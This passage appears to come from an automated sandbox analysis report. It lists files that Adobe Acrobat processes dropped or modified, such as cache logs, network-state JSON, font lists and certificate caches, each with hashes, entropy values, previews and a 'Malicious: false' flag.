Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1712083982944455
Encrypted:	false
SSDEEP:	6:HUWIaq2PCHhJ2nKuAl9Ombzo2jMGIFUt8YUWI8SZmw+YUWI8ekwOCHhJ2nKuAl97:4avBHAa8uFUt8Z8S/+Z8e56HAa8RJ
MD5:	485AD0043A15610367A5C26EA1032A27
SHA1:	CA86B508D0252DD6B445AA168418EDC835F8AA98
SHA-256:	4758C0E4E48CF7E6B2E5AFCA52A407ECDAF4A1646CB17B527E3AAC0B0AC471AD
SHA-512:	05849B8B330B9720AFA5E2E7DC9F0EAEE050147F75C780ECB09E1FAEE01A15C317C00A1CA159C335FF291067ED19E02D20EC781A6F35105F098B3133076915A7
Malicious:	false
Reputation:	low
Preview:	2024/11/19-12:19:05.245 1c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/19-12:19:05.247 1c30 Recovering log #3.2024/11/19-12:19:05.247 1c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9732036210485555
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqybSsBdOg2Hpcaq3QYiub6P7E4T3y:Y2sRdsFXdMHQ3QYhbS7nby
MD5:	35C2C0DD42121941FE543F3E6255ECB0
SHA1:	D1104E65D0987861830B5777B5935418B4CD39B5
SHA-256:	79DC1AF9F360F622D820F88E2065E0B8EB199714F5C49067A4226FAD57F59AFC
SHA-512:	715FBB59DBE1EA4261686EDDF246923B97ABDE17D8E5EABF1102A196FD231FC9AB508FE4DB3099A2116D6E17D905E910A1D74F28B03BC61CD760FF1E0E549AA0
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376596751848497","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":340985},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c05d7bec-edc8-4274-98ef-cc702be1fd0e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9732036210485555
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqybSsBdOg2Hpcaq3QYiub6P7E4T3y:Y2sRdsFXdMHQ3QYhbS7nby
MD5:	35C2C0DD42121941FE543F3E6255ECB0
SHA1:	D1104E65D0987861830B5777B5935418B4CD39B5
SHA-256:	79DC1AF9F360F622D820F88E2065E0B8EB199714F5C49067A4226FAD57F59AFC
SHA-512:	715FBB59DBE1EA4261686EDDF246923B97ABDE17D8E5EABF1102A196FD231FC9AB508FE4DB3099A2116D6E17D905E910A1D74F28B03BC61CD760FF1E0E549AA0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376596751848497","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":340985},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4288
Entropy (8bit):	5.227739200690679
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bt+h2uIjhZ:S43C4mS7fFi0KFYDjr3LWO3V3aw+btg0
MD5:	040CBD59CE75194F33E2717EEB918512
SHA1:	8F97300EE486C33C683FED79086D8C51EA884626
SHA-256:	836D0ECC2D4370E04998C71741DD053481E02D32F617A65A970ACC4B17A486A5
SHA-512:	CB5746EA22C4C6B2ABB3121C579BE1C27168F5943A02F8B963CAED8BB45F9E1A1DBE6949102E624F457C972E691E8E37FEBCAA328556AECFB084AB5BCD7E8A05
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.177025460710734
Encrypted:	false
SSDEEP:	6:HUWT0q2PCHhJ2nKuAl9OmbzNMxIFUt8YUWTjfSZmw+YUWTZ7kwOCHhJ2nKuAl9Ob:QvBHAa8jFUt8ofS/+I756HAa84J
MD5:	C498BB2EB408F20929101DEC5F1F60C5
SHA1:	4A163F3CE526FFC1FA8D64F50A27D1C6EFB67DE6
SHA-256:	C2CA3DA1102A2341E611C4E5D5F2863A1E29418119EFF056F5CC6D30D9764C8F
SHA-512:	EB5A70484CDFCF7102BEA77407E86A74E4C12766704915311BC69C3DC8413C5C2DC430144EC570B4DBC8EF954305B83518F230DB9A20ADDF4BF9B4FDDB4EABA6
Malicious:	false
Preview:	2024/11/19-12:19:06.504 1c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/19-12:19:06.516 1c30 Recovering log #3.2024/11/19-12:19:06.519 1c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.177025460710734
Encrypted:	false
SSDEEP:	6:HUWT0q2PCHhJ2nKuAl9OmbzNMxIFUt8YUWTjfSZmw+YUWTZ7kwOCHhJ2nKuAl9Ob:QvBHAa8jFUt8ofS/+I756HAa84J
MD5:	C498BB2EB408F20929101DEC5F1F60C5
SHA1:	4A163F3CE526FFC1FA8D64F50A27D1C6EFB67DE6
SHA-256:	C2CA3DA1102A2341E611C4E5D5F2863A1E29418119EFF056F5CC6D30D9764C8F
SHA-512:	EB5A70484CDFCF7102BEA77407E86A74E4C12766704915311BC69C3DC8413C5C2DC430144EC570B4DBC8EF954305B83518F230DB9A20ADDF4BF9B4FDDB4EABA6
Malicious:	false
Preview:	2024/11/19-12:19:06.504 1c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/19-12:19:06.516 1c30 Recovering log #3.2024/11/19-12:19:06.519 1c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241119171909Z-171.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 164 x -96 x 32, cbSize 63030, bits offset 54
Category:	dropped
Size (bytes):	63030
Entropy (8bit):	2.024840298887355
Encrypted:	false
SSDEEP:	192:EMAE7/UIPgnqe89FOOcwYFiXsa81Ph78DxoFwqelmvJyNH:fAWnjea7c9FiXsasJ44w3NH
MD5:	0EA3E3794BA98E3550697B71A71DFA17
SHA1:	2E2D63D0C71480C21ED4BB6B0E7B3F98921F80AD
SHA-256:	574AAB6D1BA70BF409F9382C6F025399B9363C3FCCA97FBB0A699394DBBF8D0A
SHA-512:	92D2FA773864AC9F09CCDE292E44FA630C53CD69E27C90939CB72524160205FD95FF331E16578F704192736D0C85008040D97DD5EB6D906D67EF03BBC820FE5A
Malicious:	false
Preview:	BM6.......6...(............. ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFkljanCpfllXlE/HT8ksElZNNX8RolJuRdxLlGB9lQRYwpDdt:kKxFT8el3NMa8RdWBwRd
MD5:	C37F7AAB713B8F68D8BC9006B902CF98
SHA1:	C37F4741AAA78FF32234EE7DE609C70A063D84B6
SHA-256:	6CBB86C9EF04F260824291FB291343B9E9F68825431598EFB31F1E53D7006E42
SHA-512:	F77D1C4289720478C095E8E32329D9E0424D26579367E97FE7B4EE6AD08B7D76F585C41552C18A6B74D115AA027E7F3A78D3747396C7E8C633CAB8C0B42C4F4F
Malicious:	false
Preview:	p...... .........?:*.:..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2357027453026825
Encrypted:	false
SSDEEP:	6:kKhZK9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:5ZlDImsLNkPlE99SNxAhUe/3
MD5:	8FB631C8FC0629C3956902CD2D43DFA8
SHA1:	7CF1524435D557D9A1E11148F5944B7686E49B55
SHA-256:	6CFFE40B7C0F57944B17BDC0E31FBE78A185DCCC66CFAC2177CE0683C74E65CD
SHA-512:	A6C4CDAA48A6B47DE7D0D4D0FEC88958DB1A76116FA62DDAE2289DC16D5818695EBC9F9708F3ED483074C37F64DE7B2E167C305FEEAA996BDD53A62B7A1D437D
Malicious:	false
Preview:	p...... .........r.<.:..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6716

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6716

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	228346
Entropy (8bit):	3.3890581331110528
Encrypted:	false
SSDEEP:	1536:qKPC4iyzDtrh1cK3XEiv07VK/3AYvYwgf/rRoL+sn:XPCaL/3AYvYwgXFoL+sn
MD5:	5AB868E7C0A9B1B62561FAD36500386C
SHA1:	34AC404651B89F1DE78B84E850E3D389308B6339
SHA-256:	6D8C2895A524518C2FA45F3E9CDF2D0337B6543C298769128EECA2D7E3708D81
SHA-512:	81F6201FA9FE4678CF7D40077513BF4E3CDB1AF94CBC0FDFA15076AE1F974547B8C764BE80F81BAEF244657E1AC3D7AB0EE93BAD1CCAAFBD9E07DD16AA058F4B
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.326797401895875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhBVE90LvB3/dVlPIHAR0YMDoAvJM3g98kUwPeUkwRe9:YvXKXhXs0LvR/ZwHAQsGMbLUkee9
MD5:	CCA5E434A9CCA94FDAE930EE5B42F373
SHA1:	FC6E43B1AD9DE0AFED4EE29693286C44EB7DDCB0
SHA-256:	16498D85CE319350921E2C6BA169E3C9DCDA8FC14C39071A5171E5AD2908AB08
